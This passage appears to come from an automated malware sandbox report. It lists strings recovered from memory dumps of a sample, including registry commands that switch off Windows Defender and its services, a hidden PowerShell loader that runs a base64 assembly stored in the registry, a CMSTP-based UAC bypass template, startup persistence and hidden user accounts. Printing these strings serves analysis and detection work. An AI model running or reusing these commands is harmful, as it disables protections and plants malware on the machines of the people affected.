\"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" / t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"2\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderApiLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderAuditLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run\" /v \"SecurityHealth\" /f" in Source: 6000980-_~_, "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"SecurityHealth\" /f" in Source: 6000980-_~_, "reg delete \"HKCR\\*\\shellex\\ContextMenuHandlers\\EPP\" /f" in Source: 6000980-_~_, "reg delete \"HKCR\\Directory\\shellex\\ContextMenuHandlers\\EPP\" /f" in Source: 6000980-_~_, "reg delete \"HKCR\\Drive\\shellex\\ContextMenuHandlers\\EPP\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdBoot\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdFilter\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WinDefend\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "Software\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell" in Source: 6000991-_~_, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" in Source: 6000993-_~_, "Software\\Ccleaner" in Source: 60009a7-_~_, "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 60009a7-_~_, "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr" in Source: 6000a2b-_~_, "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools" in Source: 6000a2c-_~_, "Software\\Classes\\" in Source: 6000a7d-ctor, "Software\\Classes\\exefile\\Shell\\Open\\command" in Source: 6000a7d-ctor, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" in Source: 6000b37-_~_, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: 6000b37-_~_, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce" in Source: 6000b37-_~_, "on]Signature=$chicago$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to installREPLACE_COMMAND_LINEtaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000 49001=AllUSer_LDIDSection 7[AllUSer_LDIDSection]"HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "ume nextset wshShell = CreateObject( "WScript.Shell" )wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "ume nextDo While TrueSet oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.GetStringValue &H80000001 "Software\Microsoft\Windows\CurrentVersion\RunOnce" "" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "lete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Durios -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, ""HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" """ in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "oReg.GetStringValue &H80000001, "Software\Microsoft\Windows\CurrentVersion\RunOnce", "" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003440.00000000.71982.01C60000.00000004.mdmp, "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003440.00000000.71982.01C60000.00000004.mdmp, "Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00003440.00000000.71982.7F6F0000.00000002.mdmp 00000000-00003440.00000001.73903.7F6F0000.00000002.mdmp 00000000-00003440.00000002.75822.7F6F0000.00000002.mdmp3a:Tad4,Observed unmanaged function "PrintWindow" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "GetWindowRect" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "SetWindowPos" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "SetWindowLong" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "SendMessageTimeout" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "EnumDesktopWindows" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "IsWindowVisible" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "WindowFromPoint" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "PostMessage" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "DwmEnableComposition" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "RedrawWindow" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "CreateDesktopW" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "Wow64DisableWow64FsRedirection" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "Wow64RevertWow64FsRedirection" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "IsWow64Process" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "LoadLibraryA" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "GetProcAddress" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "mciSendString" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "FindWindowEx" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "SendMessage" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "FindWindow" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "ShowWindow" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed unmanaged function "GetWindow" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"3b:T539f," Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Durios -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp ""HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp " "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp, "oReg.GetStringValue &H80000001 "Software\Microsoft\Windows\CurrentVersion\RunOnce" "" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr" in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" in Source: 